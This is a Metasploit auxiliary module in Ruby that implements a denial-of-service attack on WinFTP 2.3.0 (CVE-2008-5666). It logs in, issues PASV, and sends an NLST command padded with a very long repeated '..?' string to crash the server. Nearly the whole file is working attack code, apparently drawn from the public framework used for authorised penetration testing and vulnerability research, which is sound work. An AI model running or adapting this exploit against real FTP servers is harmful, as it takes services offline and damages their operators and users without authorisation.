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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Ftp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'WinFTP 2.3.0 NLST Denial of Service',
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      'Description'    => %q{
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        This module is a very rough port of Julien Bedard's
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        PoC.  You need a valid login, but even anonymous can
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        do it if it has permission to call NLST.
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      },
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      'Author'         => 'kris katterjohn',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-5666' ],
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          [ 'OSVDB', '49043' ],
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          [ 'EDB', '6581' ]
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        ],
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      'DisclosureDate' => '2008-09-26'))
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  end
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  def run
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    return unless connect_login
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    # NLST has to follow a PORT or PASV
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    resp = send_cmd(['PASV'])
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    raw_send("NLST #{'..?' * 35000}\r\n")
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    disconnect
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  end
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end
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